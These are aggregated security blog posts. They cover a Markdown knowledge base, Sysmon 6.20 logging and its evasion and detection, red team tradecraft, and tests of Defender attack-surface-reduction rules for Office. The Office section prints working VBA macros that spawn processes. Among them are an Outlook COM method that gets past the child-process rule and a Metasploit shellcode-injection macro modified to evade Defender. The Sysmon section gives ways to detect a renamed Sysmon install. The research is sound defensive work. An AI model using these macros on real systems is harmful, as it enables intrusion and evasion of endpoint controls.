I find myself in the situation where I lost my personal playbook by user error. I accidentally deleted the VM where I ran xWiki where it was kept and did not realized the mistake until days later. Even if painful to rebuild it is a good opportunity to think on how to better organize it and put it in a more flexible format.  

I Initially called my collection of techniques as playbook, but in reality they where not one. It was simply a collection from which I wold pull depending on the situation and as reference when writing presentations, blog posts and reports. To me a playbook is a collections of plays, each play composing of multiple steps that would vary depending environment and purpose. So the term playbook really did not fit. As I rebuild now I have decided to call it a Knowledge Base. By calling it a Knowledge Base this gives me the advantage to properly later build a real playbook where I can cover small samples of multiple steps and tools together that I can pull in to planning in to the different stages using the PACE (stands for Primary Alternate Contingency Emergency) principal where it makes sense. 

If you have ever taken the OSCP Exam from OffensiveSecurity you have learned the importance of having a knowledge base with the right information. You also learn as you progress through the material and labs to build and hopefully not fail on the first try.


Before I was using a Wiki that I had on a VM that I could access in my home network. This was a painful way of keeping it since I had to keep the VM updated and it consumed some resources in my lab virtual infrastructure. I have to admit it was overkill. For my new version I have decided to go based on my experience working with Joel Bennett on the The Unofficial PowerShell Best Practices and Style Guide and use text files using the Markdown format. I can create and maintain the files with any text editor. Being text files will also allow me to manage the information using Git and keep the info synced with any source code platform of my choosing. 

In addition to being able look at the formatted information in a web browser, there are multiple tools that allow me to convert the markdown files in to a PDF, Word, EPub, Mobi and other formats of my choosing. 


For the knowledge base I decided to use the following structure:

  • Infrastructure
    • Blue
    • Red
  • Post-Exploitation
    • AWS
      • C2
      • Collection
      • CredentialAccess
      • DefenseEvasion
      • Discovery
      • Execution
      • Exfiltration
      • LateralMovement
      • Persistence
      • PrivilegeEscalation
    • Azure
      • C2
      • Collection
      • CredentialAccess
      • DefenseEvasion
      • Discovery
      • Execution
      • Exfiltration
      • LateralMovement
      • Persistence
      • PrivilegeEscalation
    • Linux
      • C2
      • Collection
      • CredentialAccess
      • DefenseEvasion
      • Discovery
      • Execution
      • Exfiltration
      • LateralMovement
      • Persistence
      • PrivilegeEscalation
    • macOS
      • C2
      • Collection
      • CredentialAccess
      • DefenseEvasion
      • Discovery
      • Execution
      • Exfiltration
      • LateralMovement
      • Persistence
      • PrivilegeEscalation
    • Windows
      • C2
      • Collection
      • CredentialAccess
      • DefenseEvasion
      • Discovery
      • Execution
      • Exfiltration
      • LateralMovement
      • Persistence
      • PrivilegeEscalation
  • Recon
    • Network
    • OSINT
    • Web
  • Controls
    • Windows
    • Linux
    • macOS
  • Network Infrastructure
    • Routing and Switching
    • Wireless
    • Network Storage

Under each folder I have created a index.md file that I will use as the TOC for each section, by having it this way I can re-arrange the folders with the files inside and not have to modify much when doing it. Each folder as I add information may have a images folder that I will use to house images for the documents created in it. For the Post-Exploitation sections I followed the MITRE ATT&CK Matrix since it is already well documented and organized.

Getting Started

For my rebuild I will start by creating a TOC on the Readme.md file as I progress in Markdown:

# Traecraft Knowledge Base
This is my Knowledge Base for both Red and Blue team information.
## Table of Content
- [Infrastructure](./Infrastructure/index.md)- [Recon](./Recon/index.md)- [Post-Exploitation](./Post-Exploitation/index.md)- [Controls](./Controls/index.md)- [Network Infrastructure](./NetworkInfrastructure/index.md)

I'm using Visual Studio Code, when look at the preview with Ctrl-Shift-V I can click on a entry and it will open the index.md file for me so I can edit it. I'm aiming to  start with WMI Permanent Event Persistence so I click on Post-Exploitation and edit the index.md file for that section:

# Post-Exploitation
- [Windows](./Windows/index.md)- [macOS](./macOS/index.md)- [Linux](./Linux/index.md)- [Azure](./Azure/index.md)- [AWS](./AWS/index.md)

Next Windows:

# Windows Post-Exploitation Tradecraft
- [C2](./C2/index.md)- [Collection](./C2/index.md)- [Credential Access](./CredentialAccess/index.md)- [Defense Evasion](./DefenseEvasion/index.md)- [Discovery](./Discovery/index.md)- [Execution](./Execution/index.md)- [Exfiltration](./Exfiltration/index.md)- [Lateral Movement](./CLateralMovement2/index.md)- [Persistence](./Persistence/index.md)- [Privilege Escalation](./PrivilegeEscalation/index.md)

I now click on Post-Exploitation and I create the Markdown file for WMI persistense:

# Windows Persistense Techniques
- [Windows WMI Permanent Events](./WMI-Permanent-Event.md)

As I add the entry I want to make sure to not only cover commands but how it actually works, add links to references and supporting pages. I also make sure to cover IOCs and link to documents under Control section if the technique can be blocked or logged with additional steps. If you are Blue this is what you need, if Red this is what you need to be putting in to your reports and checking for when obtaining situational awareness.

Now you have seen how as I add stuff I keep building and expanding my Knowledge Base. With time more than likely the structure will change but I will keep adding to it. 

Now that it is done I can commit my code to either Bitbucket, Gitlab or GitHub to keep a copy of the data that I can keep synced for my personal use or in a team. Most platform will automatically format Markdown files in to HTML for you to read. Here is how mine looks in my private GitLab repository. 

The image size I have found it is hard to control unless you use HTML, it will be something I will need to add a snippet to VS Code to help me with. 

As Always I hope you find the information useful. In this case I'm sharing the start of a long process as I rebuild and re-learn and explore the wealth of knowledge that makes up our profession. 

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

Sysmon has been a game changer for many organizations allowing their teams to fine tune their detection of malicious activity when combined with tools that aggregate and correlate events.  

A new version of Symon was recently released. Version 6.20 fixes bugs and adds new features. Some the of the note worthy changes for me are:

  • Enhancements in WMI Logging. 
  • Ability to change driver name. 
  • Ability to change service name and service executable name.
Changes in WMI Logging

Lets start by taking a look at WMI Logging that was introduced in version 6.10 and I covered in a recent blog post. In the recent blog post I mentioned that one of the TTPs not covered when creating permanent events was the modification of the component classes of an existing permantern event , I was contacted by some developers at Microsoft and after some brief messages they told me this would be addressed in this version. Lets test the fix. I will start by creating a configuration file to catch all permanent event activity to configure Sysmon with.

<Sysmon schemaversion="3.4"> <HashAlgorithms>SHA256</HashAlgorithms> <EventFiltering> <WmiEvent onmatch='exclude'> </WmiEvent> </EventFiltering></Sysmon>

Once the configuration is applied to Sysmon I will create an Event Filter class from a PowerShell window running as administrator with the code bellow. 

#Creating a new event filter$ServiceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
# Set the properties of the instance$ServiceFilter.QueryLanguage = 'WQL'$ServiceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"$ServiceFilter.Name = "ServiceFilter"$ServiceFilter.EventNamespace = 'root\cimv2'
# Sets the intance in the namespace$FilterResult = $ServiceFilter.Put()$ServiceFilterObj = $FilterResult.Path

We now take that instance that was created and we modify the query it uses and using the Put() method we apply the change as shown bellow.

$ServiceFilter.Query = "select DisplayName from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"$FilterResult = $ServiceFilter.Put()

Now when we look at then EventData element we see that modifications are now logged properly. This a technique used by some Eastern European groups where they look for existing permanent events and modify them to stay under the radar of more sofisticated defenders. 

By detecting modification of the classes that make up a permanent event this will allow defenders to cover a TTP currently used and provide even more insight to this known persistence technique. 

Change the Driver Name

Sysmon uses a minifilter driver attached to the system volumes to obtain all information of what happens on that volume from file hashes to attempts to force copy data from files. This driver is key for most of the logging done by Sysmon and it has a unique name of SysmonDrv. 

Some advanced attackers have automated the unloading of this driver so as to break Sysmon logging. we ca list drivers using the fltmc.exe tool. Bellow is a list of the drivers on a system without the driver being renamed.

PS C:\WINDOWS\system32> fltmc

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
SysmonDrv                               3       385201         0
WdFilter                                4       328010         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     2        40700         0
FileInfo                                4        40500         0

The driver can be renamed only during install, if you wish to modify it you would need to uninstall Sysmon and re-install using a configuration file with the DriverName element as shown bellow or use the -d switch. 

<Sysmon schemaversion="3.4"> <DriverName>NotReal</DriverName> <HashAlgorithms>SHA256</HashAlgorithms> <EventFiltering> <WmiEvent onmatch='exclude'> </WmiEvent> </EventFiltering></Sysmon>

Here we are installing Sysmon and modifying the name of the driver using the -d switch and we can see in the output that the name we gave was used.

PS C:\Users\Carlos\Desktop\Sysmon 6.20> .\Sysmon.exe -i -d notreal

System Monitor v6.20 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

Sysmon installed.
notreal installed.
Starting notreal.
notreal started.
Starting Sysmon..
Sysmon started.

If we check with fltmc.exe we can see the name we specified was used. This should break most automated tools used by attackers to unload the driver. 

PS C:\Users\Carlos\Desktop\Sysmon 6.20> fltmc

Filter Name                     Num Instances    Altitude    Frame
------------------------------  -------------  ------------  -----
notreal                                 2       385201         0
WdFilter                                4       328010         0
storqosflt                              0       244000         0
wcifs                                   1       189900         0
CldFlt                                  0       180451         0
FileCrypt                               0       141100         0
luafv                                   1       135000         0
npsvctrig                               1        46000         0
Wof                                     2        40700         0
FileInfo                                4        40500         0
Change the Service Name

Sysmon also added the ability to rename the service. The service controls the driver so disabling this service allows to unload the driver and make sure it is not loaded again. To rename the service the sysmon.exe needs to be renamed to the name you want the service to be and use that executable for the installation of Sysmon as shown bellow. 

PS C:\Users\Carlos\Desktop\Sysmon 6.20> .\NotWhatItLooks.exe -i

System Monitor v6.20 - System activity monitor
Copyright (C) 2014-2017 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

NotWhatItLooks installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting NotWhatItLooks..
NotWhatItLooks started.

We can list the services and see the path the service executable is using WMI.

PS C:\> Get-WmiObject win32_service | ?{$_.Name -like 'NotWhatItLooks'} | select Name, D
isplayName, pathname

Name           DisplayName    pathname
----           -----------    --------
NotWhatItLooks NotWhatItLooks C:\Windows\NotWhatItLooks.exe

If we take a look and the file information we can see it still referenced as Sysinternals Sysmon, this information can not be changed given that the file is a signed one and modifying this would break the signature validation.

PS C:\Users\Carlos\Desktop\Sysmon 6.20> Get-ItemProperty C:\Windows\NotWhatItLooks.exe | fl *

PSPath            : Microsoft.PowerShell.Core\FileSystem::C:\Windows\NotWhatItLooks.exe
PSParentPath      : Microsoft.PowerShell.Core\FileSystem::C:\Windows
PSChildName       : NotWhatItLooks.exe
PSDrive           : C
PSProvider        : Microsoft.PowerShell.Core\FileSystem
Mode              : -a----
VersionInfo       : File:             C:\Windows\NotWhatItLooks.exe
                    InternalName:     System Monitor
                    FileVersion:      6.20
                    FileDescription:  System activity monitor
                    Product:          Sysinternals Sysmon
                    ProductVersion:   6.20
                    Debug:            False
                    Patched:          False
                    PreRelease:       False
                    PrivateBuild:     False
                    SpecialBuild:     False
                    Language:         English (United States)

BaseName          : NotWhatItLooks
Target            : {}
LinkType          :
Name              : NotWhatItLooks.exe
Length            : 1373840
DirectoryName     : C:\Windows
Directory         : C:\Windows
IsReadOnly        : False
Exists            : True
FullName          : C:\Windows\NotWhatItLooks.exe
Extension         : .exe
CreationTime      : 11/24/2017 10:44:33 PM
CreationTimeUtc   : 11/25/2017 3:44:33 AM
LastAccessTime    : 11/24/2017 10:44:33 PM
LastAccessTimeUtc : 11/25/2017 3:44:33 AM
LastWriteTime     : 11/24/2017 10:44:33 PM
LastWriteTimeUtc  : 11/25/2017 3:44:33 AM
Attributes        : Archive
Adapting TTP's

Now that we know that the new version of Sysmon takes steps to hide it self form most automated post-exploitation analysis tools out there lets take a look at how a red team would adapt to this by looking at the possibility of a knowledgeable defender with the knowledge, buy in and resources to deploy Sysmon in this manner. 

I always like starting by on a clean system launch Process Monitor in capture mode. Run the tool install with the proper parameters.   

Once the tool is finished installing, pause capture and hot the key combination of Ctrl-T to get a process tree. Bellow you will see me select the renamed copy of Sysmon and all of its sub processes. I will select it and then click on Include Subtree this will automatically create a initial filter for only those processes I can start looking at. 

Now I will add filters for those operations that create files and registry keys and values. The reason is that I only want to see those operations that would create values I can later enumerate and trigger on. Ctrl-L will bring the filter window. So I set a filter for:

  • RegCreateKey - This operation is for when a Registry is Created.
  • RegSetValue - This operation is for when a Registry Value is created or set.
  • CreateFile - This operation corresponds to when a file is created and also when one is opened. 

After clicking OK I now have only the actions I need to look at.

One of the first things to notice is the creation and setting of a value for the acceptance of the EULA for Sysmon in the registry. 

Next another clear indicator of Sysmon on the target box is the creation of the Event Log Channel for Sysmon Operational log, this is also in the registry. 

We can easily test in PowerShell for these keys if we want to write a simple script for use in Cobalt Strike or in Empire. 

PS C:\> Test-Path -PathType Container -Path HKCU:\Software\Sysinternals\"System Monitor"
PS C:\> Test-Path -PathType Container -Path HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\WINEVT\Channels\Microsoft-Windows-Sysmon/Operational

A more general and multi-use tool would be to enumerate all Sysinternal tools ran on the target box. This would provide a better information to gain situational awareness on the target network and host. An example of this is the Metasploit Post-Exploitation module bellow that I wrote several years before.

### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##
require 'msf/core'require 'rex'require 'msf/core/auxiliary/report'
class MetasploitModule < Msf::Post
include Msf::Post::Windows::UserProfiles include Msf::Post::Windows::Registry include Msf::Auxiliary::Report
def initialize(info={}) super( update_info( info, 'Name' => 'Windows checks if Sysinternal Tools have run on the host.', 'Description' => %q{ This module checks if Sysinternal Tools have run on the host.. }, 'License' => BSD_LICENSE, 'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] )) end
def run() print_status("Running post module against #{sysinfo['Computer']}") current_user = session.sys.config.getuid() if current_user =~ /SYSTEM/ print_status("Running as SYSTEM, loading user registry hives for parsing.") hives = hives = load_missing_hives if hives.length > 0 print_status("#{hives.length} are currently loaded") hives.each do |hive| user_info = resolve_sid(hive['SID']) print_status("Checking existence of Sysinternal Tools being used for user #{user_info[:name]}") check_accepteula(hive['HKU']) end end else print_status("Running as #{current_user}") check_accepteula("HKCU") end end
def check_accepteula(hku_root) if registry_enumkeys("#{hku_root}\\Software").include?('Sysinternals') tool_keys = registry_enumkeys("#{hku_root}\\Software\\Sysinternals") print_status("The following tools have been ran:") tool_keys.each do |tk| print_good("\t#{tk}") end else print_status("No Sysinternal tool appears to have been ran by the user.") end endend

Another interesting thing is that under the service key it also creates a key named Sysmon Instance, this can be used to find the service and enumerate its settings. Depending on the RAT/Implant it may 

Thankfully when looking at the details when using WMI we can see a unique description for the service we can use to trigger-on. 

PS C:\> Get-WmiObject win32_service | ?{$_.description -eq 'System Monitor service'}

ExitCode  : 0
Name      : NotSysmon
ProcessId : 6312
StartMode : Auto
State     : Running
Status    : OK

In the case of the driver rename the best advice would be to keep a list of known filter drivers and flag those unknown ones for further inspection and removal. 

We have found several ways to detect Sysmon on a system. Some of these a Blue Team can further obscure by hand. Many attackers do not look at these type of solutions in detail. Many do not even take a look at the footprint of their own tools. I do believe this will have an impact on the TTPs of attackers and it will confuse many automated tools that look for Sysmon. Valuable? yes, but only for the majority of actors, there is always that small advanced group. 

If this is found in a pentest or in a Red Team engagement either internal or external it should be commended, this shows active steps taken by defenders that do yield some value against none sophisticated attackers. Defenders do take a look at this and do not take the changes as a stealth way to run Sysmon. Like any defensive step it should be analysed and looked at in a adversarial mindset to see its values and shortcomings. 

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

I have been writing a series on the new Windows Defender Exploit Guard features on Attack Surface Reduction where I cover my research on it. I'm researching the controls to add the information in to my personal playbook. Surprisingly in conversations with some Red Teamers I know they dismissed the information as it is a Blue/Defense technology. These comments surprised me and I would like to share why it surprised me.

Let me start by saying that this is only an opinion. The steps and tradecraft for me would vary on level of skill of the defenders, scope, time and rule of engagements. This is blog post is only for me to share my though process and opinions on this area.

When it comes to attack and defense, red and blue, attack simulation. However, you want to call it in its essence it is an adversarial process, it is one team or person against another. Sometimes it can be a attacker against a defender or it can even be the attacker against a vendor research team that adds new features or modifies existing one. But it is one person trying to outwit another. So, if you are an attacker why are you not studying about defenses and mitigations?

What is the purpose of a red team or pentester? For me it is to show alternate ways of thinking and exercise the current controls in place to show areas of improvement to mitigate risks. To be able to do this knowledge on how systems works, how different lack of controls or misconfigured ones can have a negative impact for a given customer environment is of the upmost importance.

When it comes to the tradecraft one applies it will depend on the red team exercise you are conducting. If you are performing a simulation of a specific threat with blue your TTPs will be dictated by the threat intelligence you have on the adversary you are simulating to test the controls.

Knowledge of one’s tools, the opponent, his tools and how each implements them and uses them determines the actions. As Sun Tzu said:

“If you know the enemy and know yourself, you need not fear the result of a hundred battles. If you know yourself but not the enemy, for every victory gained you will also suffer a defeat. If you know neither the enemy nor yourself, you will succumb in every battle.”

Operational Thoughts

In the case you are performing an exercise where you are not simulating a specific threat you only constraints will be Rules of Engagement, Time and the level of skill you have to simulate a determined skilled attacker. Of the 3 limitations you have the most control on the third one and this is the one I will comment about.

On important phase is like any adversarial process it has to be practice and it has to be constantly improved upon. Opponents will always have different skills levels and processes. No organization behaves and operates the same due to skill, leadership, indoctrination and even organizational politics. Because of this it is important to practice and role changes, red team members should be placed in defense situation where they must defense and track others in their team and rotate between roles. This will insure that the level of knowledge and skill moves up. You cannot have a champion boxer if he only shadow box and hit the heavy bag, he needs to spar and be challenged. If you do not provide the IOCs and recommend proper controls and open your kimono, how do you expect for the security to improve? And as a result how do you expect to be challenged and improve yourself?.


The Tools of the TradeBase Infrastructure

Let’s start with your infrastructure. From where you operate you have to see it as it is actively being targeted by another Red Team. Remember there is a risk you will be detected and you may be targeted and you should prepare and practice for that eventuality. Some point to take in to account:

  • Do you control access to your infrastructure both for management and for implants/agents?
  • Do you log all connections and connection attempts and alert on unwanted ones?
  • Do you use properly configure cryptography parameters for data at rest and in transit? (Encrypted file system, certificate pining, SSH keys..etc)
  • Can you redirect your implants/agents to other servers if needed?
  • Are you using multiple providers for the connection back from the implants/agents in case of detection?
  • Can you change how your listener responds to request and protocol to avoid fingerprinting?
Recon Methods

Recon takes many forms, from doing Google searches for domains, information and files all the way to calling sales and acting as a customer to see screens showing apps used in their machines, files from which one can extract metadata showing servers, versions and other information. Recon is an active and noisy endeavor when it relates to a network. One of the constraints in commercial engagements when it comes to network recon is time, it forces one to be noisier than one may like. Some considerations to take in to account:

  • Are your command and control server different than your recon ones? you do not want to get all of your infrastructure blacklisted.
  • Have you run your recon process through several network monitoring and detection solutions to tune your discovery process?
  • Are you collecting the information in to formats easy to process or in to a database that allows you con parse and leverage the information quickly?
  • Are you collecting the information you need and not to much or to little? (don’t be a hoarder)
Execution Methods

When launching the initial exploit, abusing features of programs and/or human nature more often than not you are executing your code in an environment where the information on its control is limited so “assume the worst and hope for the best” may be a mantra to consider. For this you need to test and know:

  • What files it creates, reads and modifies if any
  • What controls may block your execution and how complex these controls are to implement (OS features, EDR, AV ..etc).
  • What login may catch the execution in a default configuration and what would be an enhanced one that would log it.

The more you know your target and the complexity of the controls will play in to decision process. If your recon shows that the target is not one that has invested in having proper teams and technology then there may be no need to limit oneself to more complex method that are more prone to fail due to many variables and limit your flexibility. Be as complex as needed.


You are now on a system, either on a segment of the internal segment. Now that you are in you have every chance to be discovered and at the same time you are closer to the goal to showing failure of multiple controls to contain, mitigate and prevent actions from an attacker.  

You are in the system, every action you take can get you caught by a logging system, EDR, AV or blocked by a OS control. You must know what each tool you use modifies on the system and what can alert on it.

  • Have you ran your Post-Exploitation processes on systems with EDR, AV and Controls enabled to see which one flags it and how? Did you document it?
  • Have you ran your tools and look at how their actions look at different configuration levels? Captured the execution with ProcMon from Systinternals at least to have a clear understanding of DLL’s Loaded, Registry Key accessed, process created, where it fails and has success in it actions?
  • Have you looked at the network traffic generated?

I have heard many times vendors, researchers and hacker say that they are completely stealthy with zero footprint. This is just impossible. There is always a trace either in memory, disk or both. Keep in mind always the Locard Exchange Principle:

 "Every contact leaves a trace"

I normally follow this initial step:

  1. Find out under what context am I running one.
  2. What is the privilege level of the context I’m running on.
  3. Enumerate thecontrols on the host:
    1. Audit Policy (If privilege level permits it).
    2. Process List (look for applications that may report, mitigate or block my actions)
    3. Service List (same as applications)
    4. Driver/Kernel Module List (same as applications)
    5. OS level controls
    6. Applications Controls and Configuration (AV exceptions ..etc)

This initial step should provide me with enough information on what I can do and not do on the system and will provide me with an idea of the level of skill of the administrators/blue team of the target organization.

Example if there is process logging and PowerShell logging is configured do I use Cobalt Strike with its PS feature or Empyre? Probably not, even more if it is a newer version of Windows and the PowerShell 2.0 feature is not installed. Does my tool create another process? Would the process tree be unique to an attacker? Would the command line parameters be? Now you see why I mention you need to understand what your tools do and how do they look. If they look out of place and cannot be masked by the noise of operation in a properly monitored and configured environment then I should look at other tools or change my environment in a way it will not raise alarms.

Now that I have an idea of the controls on the host and initial perception of the skill level of my opponent I look at the network details.

  1. Is the host in a domain or not.
  2. On what part of the domain is it in.
  3. Listening ports
  4. Firewall rules
  5. Netstat, ARP, NDP, Routes DNS Cache to identify other hosts.

Now with this info I have a better idea of the value of the host and how it relates to the network. I can now look for files, user tokens, saved credentials, keys and any other information I can exploit.

Once I’m done with the host I can decide if I should persist on it or not. I do not want to persist on all hosts I’m in, that would be of high risk. So I need to determine:

  • Are there pending reboots?
  • How often does it reboot?
  • Is it in a position in the network with privileges I want to persist on?


If persistence on the host if of value for the given risk and my techniques are tested against the controls on the host I need to choose if the method for it would be an active or dormant one. As you move through the network you must vary your persistence techniques sine once detected Blue will look for this IOC across host, they will also look at connections so a varied infrastructure is of help. A active one is that it will do its best to maintain connection back to you. A dormant one you must see as a backup, it is one that you initiate the connection to the host via WMI, SSH, HTTP, Stolen Creds, Injected Account ..etc this will give you back door access. It may also be a time triggered one if no stimulus is received, this would be the case that you were pushed out of the network and this is your ace in the hole.

I do not want to go to deep and cover all variables but this should give you an idea of my though process and why I do believe one must master both defense and offense. Also mastery of self must come first.

I hope you find this information useful as always.

Read Full Article
Visit website
  • Show original
  • .
  • Share
  • .
  • Favorite
  • .
  • Email
  • .
  • Add Tags 

On this blog post I continue looking at the ASR rules, this time I'm looking at the ASR rules for Office.  The ASR rules for office are:

  • Block Office applications from creating child processes
  • Block Office applications from creating executable content
  • Block Office applications from injecting code into other processes
  • Block Win32 API calls from Office macro

These rules only work on the following versions of Microsoft Office on Windows 10, version 1709 (and later) with Windows Defender configured with Real-Time protection enabled:

  • Microsoft Office 365
  • Microsoft Office 2016
  • Microsoft Office 2013
  • Microsoft Office 2010

Another thing to take in to account is that these controls only work with the following Office applications:

  • Microsoft Word
  • Microsoft Excel
  • Microsoft PowerPoint
  • Microsoft OneNote

for testing we will use Word 2016 and Excel for my tests of the feature. 

Office Child Process Creation

Lets look at the most common one with some of the most common technique. We will start by enabling the rule via PowerShell for blocking child process creation from the Office products covered by the control by specifying the rule GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A and enable blocking. 

Add-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled

We will try first VBA Shell, this is the simplest of all methods, no fear of loading wshom.ocx and having that flagged by an EDR software. 

Sub vba_exec() dblShellReturn = Shell("powershell.exe", vbHide)End Sub

This technique was blocked as expected.

Next method we will try is using Wscript.Shell COM, this has the unique signature of Office loading the wshom.ocx component.

Sub wshell_exec() Set wsh = CreateObject("wscript.shell") wsh.Run "powershell.exe", 1End Sub

Wscript.Shell was blocked also.

Since the documentation mentions that it also blocks malicious office Add-Ins here is a very simple one that launches notepad.exe. If the attacker is skilled enough he would not run the risk of launching a process but perform all his actions from .Net until he has measured the maturity level of the target to determine what he can and can not do. This technique is great for persistence when used under the user HKCU registry key since tools like AutoRuns from Sysinternals miss it. 

using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Xml.Linq;using Word = Microsoft.Office.Interop.Word;using Office = Microsoft.Office.Core;using Microsoft.Office.Tools.Word;using System.Diagnostics;
namespace BadWordAddIn{ public partial class ThisAddIn { private void ThisAddIn_Startup(object sender, System.EventArgs e) { Process.Start("notepad.exe"); }
private void ThisAddIn_Shutdown(object sender, System.EventArgs e) { }
#region VSTO generated code
private void InternalStartup() { this.Startup += new System.EventHandler(ThisAddIn_Startup); this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown); }
#endregion }}

Again ASR blocked the process creation. 

Since the rule only monitors for Word, Excel, PowerPoint and OneNote lets try to use the COM technique to have another none covered Office application be the one to launch the process for us. In this case we will have Outlook execute the process.

Sub parent_change() Dim objOL Set objOL = CreateObject("Outlook.Application") Set shellObj = objOL.CreateObject("Wscript.Shell") shellObj.Run ("notepad.exe")End SubSub AutoOpen() parent_changeEnd Sub

This technique worked, notepad.exe was launched. Now this technique is not as stealthy as one would think initially. It has the unique aspect that the Outlook process was started with the Embedding switch that we see when an app is automated, not a common occurence in most environments.

Now lets try using WMI to crate the process. 

Sub wmi_exec() strComputer = "." Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set objStartUp = objWMIService.Get("Win32_ProcessStartup") Set objProc = objWMIService.Get("Win32_Process") Set procStartConfig = objStartUp.SpawnInstance_ procStartConfig.ShowWindow = 1 objProc.Create "powershell.exe", Null, procStartConfig, intProcessIDEnd Sub

Using WMI worked, it launches the process from wmiprvse.exe so it has a very unique process tree.

Next I tried DDE to get command excution. 

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k calc.exe"  }

Execution was blocked.

Results of all child process test are in the table bellow:


Process Injection and Win32 API

I will now test Process Injection and Win32 API use by leveraging the macro bellow I generated from Metasploit and modified slightly to bypass the Windows Defender rule for it. The macro leverages several Win32 API calls and injects the payload in to memory

#If Vba7 Then    Private Declare PtrSafe Function Create Lib "kernel32" Alias "CreateThread" (ByVal Plw As Long, ByVal Bxzjkhnm As Long, ByVal Grmeywgct As LongPtr, Rirsi As Long, ByVal Puh As Long, Uxbkmiu As Long) As LongPtr    Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Bgsndokwj As Long, ByVal Nmni As Long, ByVal Oobnx As Long, ByVal Ioioyh As Long) As LongPtr    Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Vhzrnxtai As LongPtr, ByRef Ihfu As Any, ByVal Zkph As Long) As LongPtr#Else    Private Declare Function Create Lib "kernel32" Alias "CreateThread" (ByVal Plw As Long, ByVal Bxzjkhnm As Long, ByVal Grmeywgct As Long, Rirsi As Long, ByVal Puh As Long, Uxbkmiu As Long) As Long    Private Declare Function VirtualAlloc Lib "kernel32" (ByVal Bgsndokwj As Long, ByVal Nmni As Long, ByVal Oobnx As Long, ByVal Ioioyh As Long) As Long    Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal Vhzrnxtai As Long, ByRef Ihfu As Any, ByVal Zkph As Long) As Long#EndIf
Sub Auto_Open()    Dim Qgvx As Long, Cdeokfqii As Variant, Zuszlsq As Long#If Vba7 Then    Dim Slut As LongPtr, Lytcsql As LongPtr#Else    Dim Slut As Long, Lytcsql As Long#EndIf    Cdeokfqii = Array(232,130,0,0,0,96,137,229,49,192,100,139,80,48,139,82,12,139,82,20,139,114,40,15,183,74,38,49,255,172,60,97,124,2,44,32,193,207,13,1,199,226,242,82,87,139,82,16,139,74,60,139,76,17,120,227,72,1,209,81,139,89,32,1,211,139,73,24,227,58,73,139,52,139,1,214,49,255,172,193, _207,13,1,199,56,224,117,246,3,125,248,59,125,36,117,228,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4,139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,95,95,90,139,18,235,141,93,106,1,141,133,178,0,0,0,80,104,49,139,111,135,255,213,187,240,181,162,86,104,166,149, _189,157,255,213,60,6,124,10,128,251,224,117,5,187,71,19,114,111,106,0,83,255,213,99,97,108,99,46,101,120,101,0)
    Slut = VirtualAlloc(0, UBound(Cdeokfqii), &H1000, &H40)    For Zuszlsq = LBound(Cdeokfqii) To UBound(Cdeokfqii)        Qgvx = Cdeokfqii(Zuszlsq)        Lytcsql = RtlMoveMemory(Slut + Zuszlsq, Qgvx, 1)    Next Zuszlsq    Lytcsql = Create(0, 0, Slut, 0, 0, 0)End SubSub AutoOpen()    Auto_OpenEnd SubSub Workbook_Open()    Auto_OpenEnd Sub

I started by enabling the Process Injection Rule. 

Add-MpPreference -AttackSurfaceReductionRules_Ids 75668C1F-73B5-4CF0-BB93-3ECF5CB7CC84 -AttackSurfaceReductionRules_Actions enable

This macro injects in to it self I expect given that the wording of the rule is that it will allow execution since the macro is not injecting in to another process. My hunch was proven correct the code worked and calc was launched. The description in the rule is clear but when the default of Cobalt Strike and Metasploit, plus many block post basing themselfs off the research of Diddier Stevens and ScriptJunike inject in such manner I was surprised the scenario was not covered. Sadly I do not have samples in my playbook for injecting in to other processes to test.

Now this should be mitigated by the next rule that prevents the abuse of Win32 API calls in macros. 

To enabled the rule we just need to run Add-MpPreference cmlet and specify the appropriate GUID. 

Add-MpPreference -AttackSurfaceReductionRules_Ids 92E97FA1-2EDF-4476-BDD6-9DD0B4DDDC7B -AttackSurfaceReductionRules_Actions enable

When I execute the same file as I did before it is blocked and reported in to the event log. This is a great mitigation to the injection techniques since most rely on Win32 API to achieve their task. 

Block Executable Content Creation

The Block Office applications from creating executable content rule will block the creation of Windows Scripting Hosts files, CMD, BAT, EXE, DLL and other file types. 

To enabled the rule we just need to run Add-MpPreference cmlet and specify the appropriate GUID. 

Add-MpPreference -AttackSurfaceReductionRules_Ids '3B576869-A4EC-4529-8536-B80A7769E899' -AttackSurfaceReductionRules_Actions enable

Once enabled we can test the rule by using the following macro.

Sub Auto_Open() Dim fso As Object Set fso = CreateObject("Scripting.FileSystemObject") Dim oFile As Object Dim TmpFolder As Object Set TmpFolder = fso.GetSpecialFolder(2) Set oFile = fso.CreateTextFile(TmpFolder & "\script.vbs") oFile.WriteLine "Set wsh = CreateObject('wscript.shell')" oFile.WriteLine "wsh.Run 'calc.exe', 1" oFile.CloseEnd Sub

